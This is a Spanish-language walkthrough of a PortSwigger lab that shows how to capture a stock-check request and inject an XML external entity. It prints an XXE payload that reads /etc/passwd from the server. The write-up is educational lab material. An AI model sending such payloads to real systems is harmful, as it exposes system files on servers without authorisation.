Exploiting XXE using external entities to retrieve files
Laboratorio de Portswigger sobre XXE
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
tiene una función
llamada Check stock
que analiza entradas XML y devuelve cualquier valor inesperado en la respuesta. Para resolver el laboratorio, hay que inyectar
una entidad externa XML (XXE) para obtener
el contenido del archivo /etc/passwd
Guía de XXE
Antes
de completar
este laboratorio
es recomendable leerse
esta guía de XXE
https://justice-reaper.github.io/posts/XXE-Guide/
Resolución
Al acceder
a la web
nos sale esto
Si pulsamos en View details
veremos la descripción
del artículo
Si pulsamos en Check stock
y capturamos
la petición
con Burpsuite
vemos que se está tramitando un XML
Vamos a insertar un DTD (Document Type Definition)
y a usar el wrapper file para cargar
el archivo /etc/passwd
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
Si enviamos
la petición
con este payload
obtendremos el /etc/passwd